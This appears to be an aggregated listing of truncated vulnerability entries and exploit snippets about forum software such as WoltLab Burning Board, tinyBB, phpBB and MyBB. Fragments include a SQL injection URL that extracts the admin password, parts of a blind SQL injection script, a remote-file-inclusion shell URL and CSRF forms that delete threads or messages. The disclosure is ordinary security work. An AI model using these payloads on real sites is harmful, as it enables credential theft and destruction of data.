CVE-2008-0857

SQL injection vulnerability in index.php in WoltLab Burning Board 3.0.3 PL 1 allows remote attackers to execute arbitrary SQL commands via the sortOrder parameter to the PMList page...

woltlab303-sql.txt

WoltLab Burning Board 3.0.3 PL1 SQL Injection Vulnerability by NBBN Vendor: http://woltlab.de ::Proof of Concept http://site.tld/wbb3/index.php?page=PMList&folderID=0&pageNo=1&sortField=isViewed&sortOrder=ASC, SELECT password FROM wcf1user WHERE userID=1 AND...

Woltlab Burning Board 3.0.x - Blind SQL Injection

Woltlab Burning Board 3.0.x - Blind SQL Injection $char,BENCHMARK3000000,MD523,1"; // Edit 3000000 if the stuff doesn't work or taking long times. / Place here youre autologin cookie / $cookie = "wcfcookieHash=; wcfboardLastActivityTime=; wcfuserID=; wcfpassword=;"; $starttime = time; $connection...

Woltlab Burning Board 3.0.x Remote Blind SQL Injection Exploit

Exploit for unknown platform in category web applications ============================================================== Woltlab Burning Board 3.0.x Remote Blind SQL Injection Exploit ============================================================== $char,BENCHMARK3000000,MD523,1"; // Edit 3000000 i...

Woltlab Burning Board 3.0.x - Blind SQL Injection

$char,BENCHMARK3000000,MD523,1"; // Edit 3000000 if the stuff doesn't work or taking long times. / Place here youre autologin cookie / $cookie = "wcfcookieHash=; wcfboardLastActivityTime=; wcfuserID=; wcfpassword=;"; $starttime = time; $connection = fsockopen$host, 80; fputs$connection, "GET:...

jobboard-xssrfi.txt

+=============================================================================+ + Job Board Software ALL Versions XSS & RFI Multiple Remote Vulnerabilities + +=============================================================================+ Authors: Ivan Sanchez & Maximiliano Soler. Product: Job Boa...

Debian DSA-1488-1 : phpbb2 - several vulnerabilities

Several remote vulnerabilities have been discovered in phpBB, a web-based bulletin board. The Common Vulnerabilities and Exposures project identifies the following problems : - CVE-2008-0471 Private messaging allowed cross site request forgery, making it possible to delete all private messages of...

tinybb-rfi.txt

Author : ShaFuck31 maiL : [email protected] Script Name : tinyBB v0.2 Message Board DownLoad Script : http://php.arsivimiz.com/indir.php?id=335 Vuln. File : footers.php Vuln. Code : requireonce$tinybbfooters; Vuln. : http://Victim.Com/ScriptPath/footers.php?tinybbfooters=shELL Thanks : BLaSTE...

woltlab3-xsrf.txt

WoltLab Burning Board 3.x.x PM Delete Cross-Site Request Forgery Vulnerability by NBBN. Founded: 25 December 2007 Examples: http://domain.tld/wbb3/index.php?page=PM&action=delete&pmID=pmid http://domain.tld/wbb3/index.php?page=PM&action=delete&pmID=1 Fix: Wait for a fix. Or never surf in other...

tinyBB v0.2 Message Board Remote File Inc.

Author : ShaFuck31 maiL : [email protected] Script Name : tinyBB v0.2 Message Board DownLoad Script : http://php.arsivimiz.com/indir.php?id=335 Vuln. File : footers.php Vuln. Code : requireonce$tinybbfooters; Vuln. : http://Victim.Com/ScriptPath/footers.php?tinybbfooters=shELL Thanks : BLaSTE...

Cross site request forgery (csrf)

Cross-site request forgery CSRF vulnerability in modcp.php in Woltlab Burning Board wBB 2.3.6 PL2 allows remote attackers to delete threads as moderators or administrators via a threaddel action...

CVE-2008-0472

Cross-site request forgery CSRF vulnerability in modcp.php in Woltlab Burning Board wBB 2.3.6 PL2 allows remote attackers to delete threads as moderators or administrators via a threaddel action...

CVE-2008-0472

The CVE-2008-0472 entry concerns Woltlab Burning Board (wBB) 2.3.6 PL2. The vulnerable component is modcp.php, where a cross-site request forgery (CSRF) can cause thread deletion by a moderator or administrator via a thread_del action. The exploit does not require authentication, aligning with th...

WoltLab Burning Board 3.x.x Private Message Delete XSRF Vulnerability

WoltLab Burning Board 3.x.x PM Delete Cross-Site Request Forgery Vulnerability by NBBN. Founded: 25 December 2007 Examples: http://domain.tld/wbb3/index.php?page=PMaction=deletepmID=pmid http://domain.tld/wbb3/index.php?page=PMaction=deletepmID=1 Fix: Wait for a fix. Or never surf in other sites,...

CVE-2008-0472: Cross-Site Request Forgery (CSRF)

Cross-site request forgery CSRF vulnerability in modcp.php in Woltlab Burning Board wBB 2.3.6 PL2 allows remote attackers to delete threads as moderators or administrators via a threaddel action...

woltlab-xsrf.txt

Woltlab Burning Board 2.3.6 PL2 Remote Delete Thread XSRF Vulnerability by NBBN Founed: December 2007 Type: Cross-Site Request Forgery Code: An attacker can send a link to a site with this code to a moderator/administrator and then the thread with the threadid are going to be deleted, when the...

Woltlab Burning Board 2.3.6 PL2 Remote Delete Thread XSRF Vulnerability

Woltlab Burning Board 2.3.6 PL2 Remote Delete Thread XSRF Vulnerability by NBBN Founed: December 2007 Type: Cross-Site Request Forgery Code: html head /head body onLoad="javascript:document.it.submit" form action="http://localhost/xampp/wbb2/modcp.php" method="post" name="it" input type="hidden"...

Web Wiz Forums Directory traversal

WwW.BugReport.ir AmnPardaz Security Research Team Title: Web Wiz ForumsTM Vendor: http://www.webwizguide.com/ Bug: Directory traversal Vulnerable Version: 9.07 Exploit: Available Fix Available: No! Fast Solution is available. - Description: Web Wiz Forums bulletin board system is the ideal forum...

Debian Security Advisory DSA 1066-1 (phpbb2)

The remote host is missing an update to phpbb2 announced via advisory DSA 1066-1. It was discovered that phpbb2, a web based bulletin board, does insufficiently sanitise values passed to the Font Colour 3 setting, which might lead to the execution of injected code by admin users. The old stable...

MyBulletinBoard (MyBB) <= 1.2.10 Multiple Remote Vulnerabilities

No description provided by source. waraxe-2008-SA061 - Remote Code Execution in MyBB 1.2.10 =============================================================================== Author: Janek Vind "waraxe" Independent discovery: koziolek Date: 16. January 2008 Location: Estonia, Tartu Web:...